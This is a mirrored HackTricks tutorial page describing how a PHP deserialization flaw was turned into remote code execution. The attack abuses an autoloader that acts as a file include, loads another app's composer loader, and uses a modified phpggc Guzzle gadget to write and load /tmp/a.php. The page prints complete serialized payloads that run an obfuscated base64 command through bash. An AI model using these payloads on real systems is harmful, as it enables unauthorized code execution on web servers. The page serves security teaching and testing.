mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
102 lines
7.6 KiB
Markdown
102 lines
7.6 KiB
Markdown
|
# PHP - Deserialization + Autoload Classes
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
|||
|
|
|||
|
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
|
|||
|
|
|||
|
We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
|
|||
|
|
|||
|
Steps:
|
|||
|
|
|||
|
* You have found a **deserialization** and there **isn’t any gadget** in the current app code
|
|||
|
* You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
|
|||
|
* For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
|
|||
|
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
|
|||
|
|
|||
|
```php
|
|||
|
spl_autoload_register(function ($name) {
|
|||
|
|
|||
|
if (preg_match('/Controller$/', $name)) {
|
|||
|
$name = "controllers/${name}";
|
|||
|
} elseif (preg_match('/Model$/', $name)) {
|
|||
|
$name = "models/${name}";
|
|||
|
} elseif (preg_match('/_/', $name)) {
|
|||
|
$name = preg_replace('/_/', '/', $name);
|
|||
|
}
|
|||
|
|
|||
|
$filename = "/${name}.php";
|
|||
|
|
|||
|
if (file_exists($filename)) {
|
|||
|
require $filename;
|
|||
|
}
|
|||
|
elseif (file_exists(__DIR__ . $filename)) {
|
|||
|
require __DIR__ . $filename;
|
|||
|
}
|
|||
|
});
|
|||
|
```
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
In my case, I didn’t have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
|
|||
|
|
|||
|
* To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application won’t access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
|
|||
|
* Now, you can **load** the others **app composer loader**, so it’s time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
|
|||
|
* NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didn’t have any values.
|
|||
|
* Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
|
|||
|
* You can see **first the loader being loaded and then the payload**
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```php
|
|||
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
* Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget: 
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```php
|
|||
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
**Summary of the payload**
|
|||
|
|
|||
|
* **Load the composer autoload** of a different webapp in the same container
|
|||
|
* **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didn’t have any gadget on its libraries)
|
|||
|
* The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
|
|||
|
* The final part of our payload will use **load the generated php file** that will execute commands
|
|||
|
|
|||
|
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|